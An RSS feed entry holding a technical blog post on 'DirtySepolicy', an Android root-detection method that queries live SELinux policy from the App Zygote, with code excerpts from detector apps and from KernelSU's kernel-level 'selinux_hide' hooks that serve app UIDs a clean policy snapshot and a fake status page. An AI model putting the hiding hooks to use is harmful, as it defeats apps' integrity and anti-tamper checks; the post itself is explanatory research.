<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>n00b Bl0g</title><description>by ymuu</description><link>https://ymuu.me/</link><language>en</language><item><title>DirtySepolicy: How Android&apos;s App Zygote Became a Root-Detection Oracle</title><link>https://ymuu.me/posts/dirtysepolicy---how-androids-app-zygote-became-a-root-detection-oracle/</link><guid isPermaLink="true">https://ymuu.me/posts/dirtysepolicy---how-androids-app-zygote-became-a-root-detection-oracle/</guid><description>DirtySepolicy detects Android root solutions by abusing App Zygote SELinux query privileges. This post explains the oracle, its public implementations, and KernelSU&apos;s kernel-level selinux_hide mitigation.</description><pubDate>Fri, 12 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;( بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ )&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;:::caution
#FreePalastine
:::&lt;/p&gt;
&lt;h2&gt;DirtySepolicy: How Android&apos;s App Zygote Became a Root-Detection Oracle&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;DirtySepolicy&lt;/strong&gt; is a method for detecting Android root solutions by abusing a design feature of the &lt;strong&gt;App Zygote&lt;/strong&gt; process. The technique was discovered by the LSPosed team in &lt;strong&gt;August 2024&lt;/strong&gt;, kept private - only god knows why -, and then independently rediscovered and published by &lt;strong&gt;FldBudin&lt;/strong&gt; in &lt;strong&gt;Duck Detector&lt;/strong&gt; on &lt;strong&gt;May 10, 2026&lt;/strong&gt; &lt;a href=&quot;https://github.com/eltavine/Duck-Detector-Refactoring/pull/22&quot;&gt;[1]&lt;/a&gt; &lt;a href=&quot;https://github.com/LSPosed/DirtySepolicy&quot;&gt;[2]&lt;/a&gt;. Within hours, KernelSU shipped a kernel-level mitigation (&lt;code&gt;selinux_hide&lt;/code&gt;, PR #3457) followed by a fix for the &lt;code&gt;/proc/self/attr/current&lt;/code&gt; side-channel (PR #3459) &lt;a href=&quot;https://github.com/tiann/KernelSU/pull/3457&quot;&gt;[3]&lt;/a&gt; &lt;a href=&quot;https://github.com/tiann/KernelSU/pull/3459&quot;&gt;[4]&lt;/a&gt;. SukiSU-Ultra merged a similar fix shortly after &lt;a href=&quot;https://github.com/SukiSU-Ultra/SukiSU-Ultra/pull/891&quot;&gt;[5]&lt;/a&gt;, and KernelSU later extended the hide to the SELinux status page (PR #3495) &lt;a href=&quot;https://github.com/tiann/KernelSU/pull/3495&quot;&gt;[6]&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The core idea is simple: &lt;strong&gt;App Zygote processes need SELinux query privileges to safely fork isolated services.&lt;/strong&gt; Those same privileges let them inspect the live SELinux policy for &quot;dirty&quot; rules injected by root solutions; rules that are extremely hard to hide from userspace.&lt;/p&gt;
&lt;p&gt;This post explains how the oracle works, shows the real code that implements it, and dissects the kernel-level bypass that closes the hole.
Before going deeper, I recommned you read more about SELinux from &lt;a href=&quot;https://source.android.com/docs/core/runtime/zygote&quot;&gt;here&lt;/a&gt;.
Now grab your coffee and lets roll.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1. Why App Zygote Has SELinux Query Privileges&lt;/h2&gt;
&lt;p&gt;Android introduced &lt;strong&gt;App Zygote&lt;/strong&gt; (API 29+) as an optimization for apps that spawn isolated processes. Instead of forking from the system Zygote, the app gets its own Zygote that preloads the app’s code and resources, then forks isolated services on demand.
Read more about Zygote from &lt;a href=&quot;https://source.android.com/docs/core/runtime/zygote&quot;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;You declare it in &lt;code&gt;AndroidManifest.xml&lt;/code&gt; with two key attributes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;android:zygotePreloadName&lt;/code&gt; names a class that runs &lt;strong&gt;inside the App Zygote&lt;/strong&gt; before any child process is forked.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;android:useAppZygote=&quot;true&quot;&lt;/code&gt; on an isolated service  tells Android to fork that service from the App Zygote instead of the main Zygote.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- LSPosed DirtySepolicy: app/src/main/AndroidManifest.xml --&amp;gt;
&amp;lt;application
    android:zygotePreloadName=&quot;org.lsposed.dirtysepolicy.AppZygote&quot;&amp;gt;
    &amp;lt;service
        android:name=&quot;.DirtySepolicyService&quot;
        android:isolatedProcess=&quot;true&quot;
        android:useAppZygote=&quot;true&quot; /&amp;gt;
&amp;lt;/application&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The App Zygote runs as &lt;code&gt;u:r:app_zygote:s0&lt;/code&gt;. When it forks a child into the restricted &lt;code&gt;u:r:isolated_app:s0&lt;/code&gt; domain, it must:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Transition the child context&lt;/strong&gt;  &lt;code&gt;process:setcurrent&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Validate the target context string&lt;/strong&gt;  &lt;code&gt;security:check_context&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Compute what the child will be allowed&lt;/strong&gt;  &lt;code&gt;security:compute_av&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;AOSP therefore grants these permissions to &lt;code&gt;app_zygote&lt;/code&gt;. The same permissions let the App Zygote audit the global SELinux policy database  something a normal &lt;code&gt;untrusted_app&lt;/code&gt; process cannot do.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;architecture.png&quot; alt=&quot;Detection vs mitigation architecture&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The left side shows the App Zygote oracle querying the live policy; the right side shows KernelSU redirecting app-UID queries to a clean &lt;code&gt;backup_sepolicy&lt;/code&gt; snapshot.&lt;/em&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. The Three SELinux Oracle APIs&lt;/h2&gt;
&lt;p&gt;DirtySepolicy uses three kernel interfaces to probe for root artifacts. Think of them as three different ways to ask the kernel, &lt;em&gt;“Does this SELinux type or allow-rule exist in the live policy?”&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;2.1 &lt;code&gt;security:compute_av&lt;/code&gt;  “Is this access allowed?”&lt;/h3&gt;
&lt;p&gt;This API computes the set of permissions allowed between a &lt;strong&gt;source context&lt;/strong&gt;, a &lt;strong&gt;target context&lt;/strong&gt;, and an &lt;strong&gt;object class&lt;/strong&gt;. In Android’s framework it is exposed as &lt;code&gt;android.os.SELinux.checkSELinuxAccess(...)&lt;/code&gt;, but under the hood it writes &lt;code&gt;&quot;scon tcon tclass&quot;&lt;/code&gt; to &lt;code&gt;/sys/fs/selinux/access&lt;/code&gt; and reads back an access-vector decision.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// LSPosed DirtySepolicy: SELinux.java
public static boolean checkSELinuxAccess(String scon, String tcon, String tclass, String perm) {
    var pair = readIndex(tclass, perm);           // look up class/permission IDs
    var parts = access(scon, tcon, pair.first);   // write to /sys/fs/selinux/access
    var allowed = Integer.parseUnsignedInt(parts[0], 16);
    return (allowed &amp;amp; pair.second) == pair.second;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If a root solution has injected a rule like &lt;code&gt;allow kernel ksu_file:file read&lt;/code&gt;, then:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELinux.checkSELinuxAccess(&quot;u:r:kernel:s0&quot;, &quot;u:object_r:adb_data_file:s0&quot;, &quot;file&quot;, &quot;read&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;will return &lt;code&gt;true&lt;/code&gt; on a KernelSU device and &lt;code&gt;false&lt;/code&gt; on a clean device.&lt;/p&gt;
&lt;h3&gt;2.2 &lt;code&gt;security:check_context&lt;/code&gt;  “Does this type exist?”&lt;/h3&gt;
&lt;p&gt;This API validates whether a context string is known to the policy. There is no high-level Java method for it; you invoke it by writing the context string to &lt;code&gt;/sys/fs/selinux/context&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If the write succeeds, the type exists.&lt;/li&gt;
&lt;li&gt;If the kernel returns &lt;code&gt;EINVAL&lt;/code&gt;, the type is absent.&lt;/li&gt;
&lt;li&gt;Any other error means the type exists but something else went wrong.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// LSPosed DirtySepolicy: SELinux.java
public static boolean contextExists(String context) {
    var data = context.getBytes(StandardCharsets.UTF_8);

    try (var file = new FileOutputStream(SELINUX_FS.resolve(&quot;context&quot;).toFile())) {
        Os.write(file.getFD(), data, 0, data.length);
        return true;                              // type exists
    } catch (ErrnoException e) {
        if (e.errno == OsConstants.EINVAL) {
            return false;                         // type does not exist
        }
        throw new RuntimeException(&quot;security_check_context errno=&quot; + e.errno, e);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So writing &lt;code&gt;&quot;u:object_r:magisk_file:s0&quot;&lt;/code&gt; and getting success tells you Magisk has injected that type. Writing &lt;code&gt;&quot;u:r:ksu:s0&quot;&lt;/code&gt; and getting &lt;code&gt;EINVAL&lt;/code&gt; tells you the device is clean.&lt;/p&gt;
&lt;h3&gt;2.3 &lt;code&gt;process:setcurrent&lt;/code&gt;  the EPERM/EINVAL side-channel&lt;/h3&gt;
&lt;p&gt;Even if the first two paths are blocked, the kernel still leaks information through &lt;code&gt;/proc/self/attr/current&lt;/code&gt;. When a process tries to change its own SELinux context, the kernel checks the requested context in order:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Invalid / unknown context&lt;/strong&gt; → returns &lt;code&gt;EINVAL&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Valid context, but transition forbidden&lt;/strong&gt; → returns &lt;code&gt;EPERM&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Valid context and transition allowed&lt;/strong&gt; → returns success.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The difference between &lt;code&gt;EINVAL&lt;/code&gt; and &lt;code&gt;EPERM&lt;/code&gt; is the side-channel: if you try to switch to &lt;code&gt;u:r:ksu:s0&lt;/code&gt; and get &lt;code&gt;EPERM&lt;/code&gt;, the type exists in the policy even though you cannot transition to it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Illustrative native probe for the side-channel
ssize_t ret = write(fd, &quot;u:r:su:s0&quot;, strlen(&quot;u:r:su:s0&quot;));
if (ret &amp;lt; 0 &amp;amp;&amp;amp; errno == EPERM) {
    return true;   // context exists -&amp;gt; dirty
}
if (ret &amp;lt; 0 &amp;amp;&amp;amp; errno == EINVAL) {
    return false;  // context absent -&amp;gt; clean
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This snippet is illustrative, but it matches exactly what the kernel returns and what the LSPosed reference implementation encodes in Java as a fallback inside &lt;code&gt;contextExists()&lt;/code&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. The Detection Checklist&lt;/h2&gt;
&lt;p&gt;The actual audit happens inside &lt;code&gt;AppZygote.doPreload()&lt;/code&gt;. Android calls this method in the App Zygote process &lt;strong&gt;before&lt;/strong&gt; the isolated service is forked, so it runs with &lt;code&gt;u:r:app_zygote:s0&lt;/code&gt; privileges.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// LSPosed DirtySepolicy: AppZygote.java
@Override
public void doPreload(ApplicationInfo appInfo) {
    var uid = Os.getuid();
    if (uid != appInfo.uid) {
        result = &quot;ERROR: UID mismatch&quot;;
        return;
    }
    try {
        result = doCheck();
    } catch (RuntimeException e) {
        result = &quot;ERROR: &quot; + e.getMessage();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;doCheck()&lt;/code&gt; first makes sure it is really running as &lt;code&gt;app_zygote&lt;/code&gt;, then probes for known root artifacts:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// LSPosed DirtySepolicy: AppZygote.java (selected checks)
if (SELinux.contextExists(&quot;u:r:adbroot:s0&quot;)) {
    sb.append(&quot;found adb_root; &quot;);
}
if (SELinux.contextExists(&quot;u:r:magisk:s0&quot;) ||
    SELinux.contextExists(&quot;u:object_r:magisk_file:s0&quot;) ||
    SELinux.checkSELinuxAccess(&quot;u:r:kernel:s0&quot;, &quot;u:object_r:tmpfs:s0&quot;, &quot;fifo_file&quot;, &quot;open&quot;)) {
    sb.append(&quot;found Magisk; &quot;);
}
if (SELinux.contextExists(&quot;u:r:ksu:s0&quot;) ||
    SELinux.contextExists(&quot;u:object_r:ksu_file:s0&quot;) ||
    SELinux.checkSELinuxAccess(&quot;u:r:kernel:s0&quot;, &quot;u:object_r:adb_data_file:s0&quot;, &quot;file&quot;, &quot;read&quot;)) {
    sb.append(&quot;found KernelSU; &quot;);
}
if (SELinux.contextExists(&quot;u:object_r:lsposed_file:s0&quot;)) {
    sb.append(&quot;found LSPosed; &quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The isolated service then returns the cached string to the main app:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// LSPosed DirtySepolicy: DirtySepolicyService.java
public class DirtySepolicyService extends Service {
    private final IDirtySepolicyService.Stub binder = new IDirtySepolicyService.Stub() {
        @Override
        public String getResult() {
            return AppZygote.result;
        }
    };

    @Override
    public IBinder onBind(Intent intent) {
        if (Process.isIsolated()) {
            return binder;
        }
        return null;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Because the probing happens inside the App Zygote, a normal app process never needs special permissions. It just binds to an isolated service and reads the result.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4. Duck Detector PR #22  The First Public Implementation&lt;/h2&gt;
&lt;p&gt;While LSPosed kept the technique private, Duck Detector was the first public implementation &lt;a href=&quot;https://github.com/eltavine/Duck-Detector-Refactoring/pull/22&quot;&gt;[1]&lt;/a&gt;. It uses the same App-Zygote trick but wraps it in a native C++ probe, a JNI bridge, and a Kotlin codec layer.&lt;/p&gt;
&lt;p&gt;The manifest is almost identical to DirtySepolicy’s:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Duck Detector PR #22: app/src/main/AndroidManifest.xml --&amp;gt;
&amp;lt;application
    android:zygotePreloadName=&quot;com.eltavine.duckdetector.features.selinux.data.service.AppZygotePreload&quot;&amp;gt;
    &amp;lt;service
        android:name=&quot;.features.selinux.data.service.SelinuxContextValidityCarrierService&quot;
        android:exported=&quot;false&quot;
        android:isolatedProcess=&quot;true&quot;
        android:useAppZygote=&quot;true&quot; /&amp;gt;
&amp;lt;/application&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The preload entry point delegates to a native probe:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Duck Detector PR #22: AppZygotePreload.kt
class AppZygotePreload : ZygotePreload {
    override fun doPreload(p0: ApplicationInfo) {
        if (SelinuxContextValidityBridge.isNativeLibraryLoaded) {
            val result = SelinuxContextValidityBridge.nativeCollectContextValiditySnapshot()
            SelinuxContextValidityBridge.setPreloadedRawData(result)
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Duck Detector’s PR #22 specifically implements the &lt;code&gt;security:check_context&lt;/code&gt; path. The native probe writes known root contexts to &lt;code&gt;/sys/fs/selinux/context&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Duck Detector PR #22: context_validity_probe.cpp
constexpr const char *kSelinuxContextPath = &quot;/sys/fs/selinux/context&quot;;
constexpr const char *kExpectedCarrierType = &quot;app_zygote&quot;;
constexpr const char *kKsuContext = &quot;u:r:ksu:s0&quot;;
constexpr const char *kKsuFileContext = &quot;u:object_r:ksu_file:s0&quot;;
constexpr const char *magiskFileContext = &quot;u:object_r:magisk_file:s0&quot;;

ContextCheckResult check_context_validity(const char *context) {
    ContextCheckResult result;
    int fd = open(kSelinuxContextPath, O_RDWR | O_CLOEXEC);
    if (fd &amp;lt; 0) { result.valid = false; return result; }

    const ssize_t written = write(fd, context, std::strlen(context) + 1);
    close(fd);

    if (written &amp;gt;= 0) {
        result.valid = true;   // type exists in live policy
    } else {
        result.valid = false;  // type absent (usually EINVAL)
    }
    return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Duck Detector adds &lt;strong&gt;positive and negative controls&lt;/strong&gt; to avoid false positives. It first checks that the probe’s own &lt;code&gt;app_zygote&lt;/code&gt; context and a stock file context are accepted, while synthetic Duck Detector contexts are rejected. Only if those controls pass does it trust the oracle.&lt;/p&gt;
&lt;p&gt;If the controls pass, it records whether the KSU and Magisk contexts were accepted:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;snapshot.ksu_domain_valid = ksu_domain_result.valid;
snapshot.ksu_file_valid = ksu_file_result.valid;
snapshot.magisk_file_valid = magisk_file_result.valid;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The Kotlin layer then classifies the device:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Duck Detector PR #22: SelinuxContextValidityProbe.kt
internal fun SelinuxContextValiditySnapshot.toProbeResult(): SelinuxContextValidityProbeResult {
    val state = when {
        ksuDomainValid ?: false || ksuFileValid ?: false || magiskFileValid ?: false -&amp;gt;
            SelinuxContextValidityState.ROOT_PRESENT
        else -&amp;gt; SelinuxContextValidityState.CLEAN
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Important caveat:&lt;/strong&gt; Duck Detector PR #22 implements the &lt;code&gt;check_context&lt;/code&gt; probe. The broader DirtySepolicy concept also includes &lt;code&gt;compute_av&lt;/code&gt; and &lt;code&gt;setcurrent&lt;/code&gt; probes, which are present in the LSPosed reference implementation but &lt;strong&gt;not&lt;/strong&gt; in Duck Detector’s first public PR.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;5. Why Userspace Bypasses Fail&lt;/h2&gt;
&lt;p&gt;The LSPosed README originally claimed the detection is &quot;impossible to bypass&quot; from userspace &lt;a href=&quot;https://github.com/LSPosed/DirtySepolicy&quot;&gt;[2]&lt;/a&gt;. The reasoning is structural:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/sys/fs/selinux/&lt;/code&gt; is implemented entirely in the kernel. There is no userspace daemon to hook.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;app_zygote.te&lt;/code&gt; permissions are part of AOSP and cannot be altered without modifying the loaded sepolicy binary.&lt;/li&gt;
&lt;li&gt;The queries target the single, authoritative policy database in kernel memory.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Any userspace attempt to intercept the App Zygote’s syscalls or block the &lt;code&gt;/sys/fs/selinux/context&lt;/code&gt; write tends to crash the App Zygote  and a crash or binding timeout is itself treated as a positive signal.&lt;/p&gt;
&lt;p&gt;The only viable bypass is inside the kernel.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;6. Kernel-Level Mitigation: &lt;code&gt;selinux_hide&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;KernelSU’s response does not try to clean the live policy. Instead, it &lt;strong&gt;presents a different policy to app UIDs&lt;/strong&gt; &lt;a href=&quot;https://github.com/tiann/KernelSU/pull/3457&quot;&gt;[3]&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Phase 1: Capture a clean policy snapshot&lt;/h3&gt;
&lt;p&gt;Before KernelSU injects its own SELinux rules, it clones the current (clean) policy into &lt;code&gt;backup_sepolicy&lt;/code&gt;. This snapshot contains no &lt;code&gt;ksu&lt;/code&gt;, &lt;code&gt;magisk&lt;/code&gt;, &lt;code&gt;su&lt;/code&gt;, or other root-related types.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// KernelSU PR #3457: kernel/selinux/rules.c
struct selinux_policy *backup_sepolicy;

void apply_kernelsu_rules()
{
    mutex_lock(&amp;amp;selinux_state.policy_mutex);

    // FIRST: clone the clean policy
    backup_sepolicy = ksu_dup_sepolicy(
        rcu_dereference_protected(selinux_state.policy,
                                  lockdep_is_held(&amp;amp;selinux_state.policy_mutex)));

    // THEN: create a working copy and inject KernelSU rules into that copy
    // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Phase 2: Hook the selinuxfs write operations&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;selinux_hide&lt;/code&gt; patches the kernel’s &lt;code&gt;write_op&lt;/code&gt; function-pointer table, which dispatches writes to &lt;code&gt;/sys/fs/selinux/*&lt;/code&gt; files. It replaces the handlers for the &lt;code&gt;context&lt;/code&gt; and &lt;code&gt;access&lt;/code&gt; nodes.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// KernelSU PR #3457: kernel/feature/selinux_hide.c
static ssize_t my_write_context(struct file *file, char *buf, size_t size)
{
    // System UIDs see the real (modified) policy
    if (likely(current_uid().val &amp;lt; 10000)) {
        return orig_context_write(file, buf, size);
    }

    // App UIDs: validate against the clean backup policy
    length = security_context_to_sid_with_policy(backup_sepolicy, buf, size,
                                                 &amp;amp;sid, SECSID_NULL, GFP_KERNEL);
    if (length)
        goto out;  // type not in backup policy -&amp;gt; EINVAL to userspace

    length = security_sid_to_context_with_policy(backup_sepolicy, sid, &amp;amp;canon, &amp;amp;len);
    // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For a system UID, the hook forwards to the original handler. For an app UID, the context is validated against &lt;code&gt;backup_sepolicy&lt;/code&gt;. If the type was added after the snapshot, the lookup fails and the caller sees &lt;code&gt;EINVAL&lt;/code&gt;  the same result as a clean device.&lt;/p&gt;
&lt;p&gt;Access-vector queries are handled the same way:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// KernelSU PR #3457: kernel/feature/selinux_hide.c
static ssize_t my_write_access(struct file *file, char *buf, size_t size)
{
    if (likely(current_uid().val &amp;lt; 10000)) {
        return orig_access_write(file, buf, size);
    }

    // Parse &quot;scon tcon tclass&quot; from userspace
    sscanf(buf, &quot;%s %s %hu&quot;, scon, tcon, &amp;amp;tclass);

    // Resolve contexts against the backup policy
    security_context_to_sid_with_policy(backup_sepolicy, scon, strlen(scon), &amp;amp;ssid, ...);
    security_context_to_sid_with_policy(backup_sepolicy, tcon, strlen(tcon), &amp;amp;tsid, ...);

    // Compute the access vector from the backup policy
    security_compute_av_user_with_policy(backup_sepolicy, ssid, tsid, tclass, &amp;amp;avd);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The helpers &lt;code&gt;security_context_to_sid_with_policy()&lt;/code&gt; and &lt;code&gt;security_compute_av_user_with_policy()&lt;/code&gt; are stripped-down copies of the kernel’s own functions that operate on &lt;code&gt;backup_sepolicy&lt;/code&gt; instead of &lt;code&gt;selinux_state.policy&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Phase 3: Install and lifecycle the hooks&lt;/h3&gt;
&lt;p&gt;Hook installation uses runtime kernel text patching. The &lt;code&gt;write_op&lt;/code&gt; table is looked up by symbol, and the &lt;code&gt;SEL_CONTEXT&lt;/code&gt; and &lt;code&gt;SEL_ACCESS&lt;/code&gt; slots are overwritten. The &lt;code&gt;setprocattr&lt;/code&gt; LSM hook is registered separately.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// KernelSU PR #3457 / #3459: kernel/feature/selinux_hide.c
selinux_write_op = kallsyms_lookup_name(&quot;write_op&quot;);

context_write = &amp;amp;selinux_write_op[SEL_CONTEXT];
orig_context_write = *context_write;
ksu_patch_text(context_write, &amp;amp;my_write_context, sizeof(my_write_context), ...);

access_write = &amp;amp;selinux_write_op[SEL_ACCESS];
orig_access_write = *access_write;
ksu_patch_text(access_write, &amp;amp;my_write_access, sizeof(my_write_access), ...);

ksu_lsm_hook(&amp;amp;selinux_setprocattr_hook);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The feature is registered during module init:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// KernelSU PR #3459: kernel/core/init.c
#include &quot;feature/selinux_hide.h&quot;

    ksu_lsm_hook_init();
    ksu_selinux_hide_init();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and torn down on exit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ksu_selinux_hide_exit();
    ksu_lsm_hook_exit();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the user never enables the feature after boot, the backup is dropped to save memory:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// KernelSU PR #3457: kernel/runtime/boot_event.c
void on_boot_completed(void)
{
    // ...
    ksu_selinux_hide_drop_backup_if_unused();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;7. Closing the &lt;code&gt;/proc/self/attr/current&lt;/code&gt; Side-Channel&lt;/h2&gt;
&lt;p&gt;The initial &lt;code&gt;selinux_hide&lt;/code&gt; only covered &lt;code&gt;/sys/fs/selinux/*&lt;/code&gt;. Detectors could still probe &lt;code&gt;/proc/self/attr/current&lt;/code&gt;: if the target context exists, the kernel returns &lt;code&gt;EPERM&lt;/code&gt; even though the transition is forbidden. KernelSU PR #3459 adds an LSM hook on &lt;code&gt;selinux_setprocattr&lt;/code&gt; that pre-validates the target context against &lt;code&gt;backup_sepolicy&lt;/code&gt; &lt;a href=&quot;https://github.com/tiann/KernelSU/pull/3459&quot;&gt;[4]&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// KernelSU PR #3459: kernel/feature/selinux_hide.c
static int __nocfi my_setprocattr(const char *name, void *value, size_t size)
{
    // Only intercept app UIDs writing to the &quot;current&quot; attribute
    if (likely(current_uid().val &amp;lt; 10000)) goto call_orig;
    if (strcmp(name, &quot;current&quot;)) goto call_orig;

    // Validate the requested context against the clean backup policy
    error = security_context_to_sid_with_policy(backup_sepolicy, str, size,
                                                 &amp;amp;sid, SECSID_NULL, GFP_KERNEL);
    if (error) {
        return error;  // Context not in backup -&amp;gt; EINVAL
    }

call_orig:
    return ((setprocattr_fn)selinux_setprocattr_hook.original)(name, value, size);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Because the context is checked against the backup first, a hidden root type returns &lt;code&gt;EINVAL&lt;/code&gt; instead of &lt;code&gt;EPERM&lt;/code&gt;, flattening the side-channel.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;8. Hiding the SELinux Status Page&lt;/h2&gt;
&lt;p&gt;DirtySepolicy also reads &lt;code&gt;/sys/fs/selinux/status&lt;/code&gt; to look for policy-load counts and sequence numbers that reveal runtime modifications. The mitigation family was extended to serve a fake status page to app UIDs. KernelSU added this in PR #3495 &lt;a href=&quot;https://github.com/tiann/KernelSU/pull/3495&quot;&gt;[6]&lt;/a&gt;, and the same logic appears in SukiSU-Ultra’s main branch &lt;a href=&quot;https://raw.githubusercontent.com/SukiSU-Ultra/SukiSU-Ultra/main/kernel/feature/selinux_hide.c&quot;&gt;[7]&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// SukiSU-Ultra main: kernel/feature/selinux_hide.c
static struct page *fake_status = NULL;

static void initialize_fake_status()
{
    struct selinux_kernel_status *status = page_address(selinux_state.status_page);
    struct page *new_page = alloc_page(GFP_KERNEL | __GFP_ZERO);
    struct selinux_kernel_status *new_status = page_address(new_page);

    memcpy(new_status, status, sizeof(*status));
    if (ksu_late_loaded &amp;amp;&amp;amp; !new_status-&amp;gt;enforcing) {
        new_status-&amp;gt;enforcing = 1;
        new_status-&amp;gt;sequence = new_status-&amp;gt;policyload ? 4 : 0;
    }
    fake_status = new_page;
}

static int my_sel_open_handle_status(struct inode *inode, struct file *filp)
{
    if (likely(current_uid().val &amp;gt;= 10000 &amp;amp;&amp;amp; ksu_selinux_hide_enabled)) {
        filp-&amp;gt;private_data = fake_status;
        return 0;
    }
    return orig_sel_open_handle_status(inode, filp);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This closes the policy-status side-channel as well.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;9. Conclusion&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;DirtySePolicy&lt;/code&gt; exploits an architectural necessity &lt;code&gt;App Zygote&lt;/code&gt; needs &lt;code&gt;SELinux&lt;/code&gt; query rights to function, and those rights expose the policy database. It targets the policy, not artifacts, making file and process hiding irrelevant because the detection queries the kernel&apos;s authoritative access-control rules. Userspace bypasses fail structurally, as blocking the &lt;code&gt;App Zygote&apos;s&lt;/code&gt; queries crashes the App Zygote itself, which signals tampering. &lt;code&gt;KernelSU&apos;s&lt;/code&gt; mitigation is elegant, presenting a clean pre-modification snapshot to app UIDs while preserving the real policy for the system instead of cleaning the modified policy. The arms race continues, with future detection potentially focusing on timing differences, kernel symbol scanning, or policy-consistency checks across different query paths.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This is why &lt;strong&gt;modern&lt;/strong&gt; &lt;em&gt;&lt;code&gt;RASPs&lt;/code&gt;&lt;/em&gt; try to find different detection surfaces every day which abuses legitimate Android/Linux builtin features.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This was the end, cheers to the &lt;code&gt;Zygote&lt;/code&gt; :&quot;D&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/eltavine/Duck-Detector-Refactoring/pull/22&quot;&gt;Duck Detector PR #22&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/LSPosed/DirtySepolicy&quot;&gt;LSPosed DirtySepolicy&lt;/a&gt;&lt;/li&gt;
